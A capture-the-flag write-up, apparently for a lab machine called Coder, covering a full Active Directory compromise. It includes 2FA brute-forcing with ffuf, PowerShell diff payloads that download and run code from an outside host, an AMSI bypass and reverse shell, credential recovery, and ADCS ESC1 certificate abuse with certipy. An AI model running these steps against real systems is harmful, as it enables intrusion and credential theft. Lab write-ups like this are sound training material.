Coder
Had great help from @Ruycraft1514 for PE.
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.198.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-04 04:35 EDT
Warning: 10.129.198.189 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.198.189
Host is up (0.24s latency).
Not shown: 62699 closed tcp ports (conn-refused), 2811 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49673/tcp open unknown
49686/tcp open unknown
49687/tcp open unknown
49695/tcp open unknown
49700/tcp open unknown
49710/tcp open unknown
49712/tcp open unknown
51472/tcp open unknown
AD machine! Port 80 reveals a default IIS server, so let's not start from there.
SMB Shares
We can find some null shares that are readable with smbmap
:
$ smbmap -u 'guest' -p '' -H 10.129.198.189
[+] IP: 10.129.198.189:445 Name: 10.129.198.189
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Development READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server share
Users READ ONLY
The most interesting one was the Development
one which contained some files. We can connect via smbclient
:
smb: \> cd "Temporary Projects"
smb: \Temporary Projects\> ls
. D 0 Fri Nov 11 17:19:03 2022
.. D 0 Fri Nov 11 17:19:03 2022
Encrypter.exe A 5632 Fri Nov 4 12:51:59 2022
s.blade.enc A 3808 Fri Nov 11 17:17:08 2022
6232831 blocks of size 4096. 907304 blocks available
We can download these files for further analysis. Probably need to decode this encrypted file for a password somehow.
Weak PRNG + Keepass
The file is a Windows executable:
$ file Encrypter.exe
Encrypter.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
So we can port this to a Windows VM for analysis via DnSpy. Here, we can see that the file uses AES for something:

We can take a look at the main
function:
// AES
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
public static void Main(string[] args)
{
bool flag = args.Length != 1;
if (flag)
{
Console.WriteLine("You must provide the name of a file to encrypt.");
}
else
{
FileInfo fileInfo = new FileInfo(args[0]);
string destFile = Path.ChangeExtension(fileInfo.Name, ".enc");
long value = DateTimeOffset.Now.ToUnixTimeSeconds();
Random random = new Random(Convert.ToInt32(value));
byte[] array = new byte[16];
random.NextBytes(array);
byte[] array2 = new byte[32];
random.NextBytes(array2);
byte[] array3 = AES.EncryptFile(fileInfo.Name, destFile, array2, array);
}
}
Right, so this uses the time. On paper, this is secure, if they didn't reveal the time it was encrypted. Refer to the SMB directory listing and we can see the time the file was uploaded was Fri Nov 11 17:17:08 2022
. This becomes 1668187028
when we convert it to the UnixTimeSeconds.
This uses an insecure PRNG generator. With the timestamp as the seed, we can quickly find the correct key and IV needed by just printing it out using some online C# compiler:
using System;
using System.IO;
using System.Security.Cryptography;
int value = 1668271028;
Random random = new Random(value);
byte[] array = new byte[16];
random.NextBytes(array);
Console.WriteLine(BitConverter.ToString(array));
byte[] array2 = new byte[32];
random.NextBytes(array2);
Console.WriteLine(BitConverter.ToString(array2));
/*
3E65D265E62244DF1F308C6836AD215B # iv
0E674FD72BA946B290BE0A5E88672402587129B780DB134808C1EDCE0BFEB48C # key
*/
Then, we can take these values and upload the file to CyberChef to decrypt it and download it as a 7z file. When extracted, we get a kdbx
file, which is a KeePass database and a .key
file, presumably for the database.
We can use kpcli
without any master password to access this:
$ kpcli --key=keepass.key --kdb=s.blade.kdbx
Provide the master password: *************************
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> ls
=== Groups ===
Root/
kpcli:/> cd Root
kpcli:/Root> ls
=== Entries ===
0. Authenticator backup codes
1. O365
2. Teamcity teamcity-dev.coder.htb
kpcli:/Root>
It seems we have a URL now. Here's the data from the other fields:
Title: Authenticator backup codes
Uname:
Pass:
URL:
Notes: {
"6132e897-44a2-4d14-92d2-12954724e83f": {
"encrypted": true,
"hash": "6132e897-44a2-4d14-92d2-12954724e83f",
"index": 1,
"type": "totp",
"secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
"issuer": "TeamCity",
"account": "s.blade"
},
"key": {
"enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
"hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
}
}
Title: O365
Uname: s.blade@coder.htb
Pass: AmcwNO60Zg3vca3o0HDrTC6D
Title: Teamcity
Uname: s.blade
Pass: veh5nUSZFFoqz9CrrhSeuwhA
URL: https://teamcity-dev.coder.htb
We can now head to that URL.
TeamCity
We would see a login page, and we already have credentials for it:

Then, we would see a 2FA Mechanism in place:

I wasn't sure how to go about finding this, so I just brute forced it because it doesn't seem to have any account lockout. I used Burp Intruder to do this:

This works, but is hella slow.
Better Brute Force
Use this to generate all possible codes:
pw_list = [f"{password:06d}" for password in range(1000000)]
for i in pw_list:
print(i)
# python3 wordlist.py > possible_codes
Capture a request from Burpsuite for the POST request and then feed it to ffuf
:
ffuf -request req -w possible_codes -t 70 -fs 89 > output
Then just monitor the output file for any entries that end up inside. This would be the correct code used. This takes around 10-20 minutes, which is a lot faster.

Then we can login!
AMSI Bypass + PS Shell
TeamCity is a CI/CD dashboard, and I'm 99% sure we can gain access by building some kind of project that executes code on the computer. Just need to find out how.
When checking the build that we have, we can upload a file here:

I read more here:
In short, a unified diff file would allow us to append more stuff to the end of the current build, which is obviously not good. Some further enumeration revealed that this uses Powershell.

The answer is simple. Include some small Powershell code that would execute some commands to download a reverse shell. So I created a quick diff file like this to test:
--- hello_world.ps1 2023-04-05 04:22:08.640184787 -0400
+++ hello_world.ps1 2023-04-05 04:21:40.020285109 -0400
@@ -0,0 +1 @@
+(New-Object System.Net.WebClient).DownloadString('http://10.10.16.4/downloadmyfiles') | IEX
Uploading it and running gives me this:

Success! I tried to download and run Invoke-PowerShellTcp but it didn't work. Probably is some kind of firewall or security features present on the site. As such, we need to include another Powershell script to bypass it.
On my research, I found this super useful repository:
Using their bamsi.txt
, we can bypass the AMSI that is (probably) present on the server via unload amsi.dll
.
--- hello_world.ps1 2023-04-05 04:22:08.640184787 -0400
+++ hello_world.ps1 2023-04-05 04:21:40.020285109 -0400
@@ -0,0 +1,2 @@
+(New-Object System.Net.WebClient).DownloadString('http://10.10.16.4/hello.ps1') | IEX
+(New-Object System.Net.WebClient).DownloadString('http://10.10.16.4/shell.ps1') | IEX
Then just upload this file with a basic Powershell reverse shell, and it would work!

User Access
I should note that this is a rather unstable shell...and it quits on you VERY frequently due to the operation timing out on TeamCity.
TeamCity Administrator Fail
Now that we have access as the service user, we don't have access to anything special. Reading more about administrators in TeamCity, I came across this:
Based on this, we just need to head to C:\TeamCity\logs
and run type * | Select-String "Super user authentication token"
.
[2023-04-04 18:04:14,034] console [Info] [TeamCity] Super user authentication token:
6423624625049719391 (use empty username with the token as the password to access the server)
Following the instructions, we would gain access as the administrator of TeamCity rather easily.

As the administrator, we see some additional stuff like this thing:

ADCS? Might need this for later. Anyways as this user, we can add new build steps on the builds. I simply added a new step whereby it would execute the same powershell as above.

But running just seems to give me a shell as the service user still. But at least the shell never times out unless I want it to.
Finding Credentials
Reading online tells me that there's a Data Directory present within TeamCity, and we can view that through Administration > Global Settings. Because we upload .diff
files, there is likely a folder that stores all the changes made. We can find the file here:
PS C:\ProgramData\JetBrains\TeamCity\system\changes> type 101.changes.diff
<TRUNCATED>
+$key = Get-Content ".\key.key"
+$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
+$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
$emailFrom = 'pkiadmins@coder.htb'
$emailCC = 'e.black@coder.htb'
$emailTo = 'itsupport@coder.htb'
$smtpServer = 'smtp.coder.htb'
-Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High
+Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High -Credential $cred
}
diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
@@ -0,0 +1,32 @@
+144
+255
+52
+33
+65
+190
+44
+106
+131
+60
+175
+129
+127
+179
+69
+28
+241
+70
+183
+53
+153
+196
+10
+126
+108
+164
+172
+142
+119
+112
+20
+122
This is a Powershell Secure String encoding using a key. We can decode this here if you're lazy after some formatting:
Decrypting this would give us the user's credentials as remote Powershell was being used here. It also tells us that evil-winrm
can be used to login since the user is part of the Remote Management Group.
This would decrypt to give ypOSJXPqlDOxxbQSfEERy300
, which we can easily use to evil-winrm
in as the user and capture the user flag.

AD Privilege Escalation
PKI Admins
The user had access to these groups viewable from net user e.black
:
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *PKI Admins
PKI Admins sounds like the next step in the exploit chain. Also, earlier we found some kind of ADCS thing we had to use.
Active Directory Certificate Services provides customizable services for issuing and managing digital certificates used in software security systems that employ public key technologies.
If you're unfamiliar with what this does, you can read more here:
The first thing we need to do is to enumerate all possible certificates to find what is vulnerable within this machine. This can be done using certipy
.
Unfortunately, there won't be any vulnerable templates that we can exploit because none of the templates present give us any enrollment permissions. Since the user is part of PKI Admins, we can take a closer look at the role and infer what permissions we have. I used Bloodhound to map the permissions, and didn't find much apart from this:

So e.black
can manage templates for the ADCS instance. Since we could not find any templates to abuse, perhaps we can add one. We just need to find a template for a certificate, add it and give PKI Admins enrollment rights to abuse this and request an administrator TGT.
We can use this tool to do so:
Next, we need to find a JSON certificate template. Since we are adding a new certificate template with custom permissions and name based on our own implementation, we can use an ESC1
template. This one here works for the machine:
Download the Powershell and JSON files to the machine and perform the following:
Import-Module .\ADCSTemplate.psm1
Export-Template -DisplayName ESC1 > .\default.json
Get-Content -Path "C:\Users\e.black\esc1.json" | Set-Content -Path "C:\Users\e.black\default.json"
New-ADCSTemplate -DisplayName ESC1 -JSON (Get-Content .\default.json -Raw) -Publish -Identity "CODER\PKI Admins"
What these commands do is:
First generate a blank template file, then copy over the contents of the ESC1 JSON to create a certificate template file
default.json
that would be compatible with the machineCreate a new ADCSTemplate file using
default.json
and allow the PKI Admins group to have enrol permissions.
Afterwards, we can run certipy
to get a PFX file for the administrator. Keep in mind to do these steps fast because there's a scheduled task resetting the certificates.
certipy req -username e.black@coder.htb -password <pass> -ca coder-DC01-CA -target dc01.coder.htb -template esc1 -dc-ip <ip> -upn administrator@coder.htb

This would retrieve the administrator PFX for us to use. We can then use this to retrieve the NT Hash for the administrator and login using evil-winrm
:


Rooted!
Last updated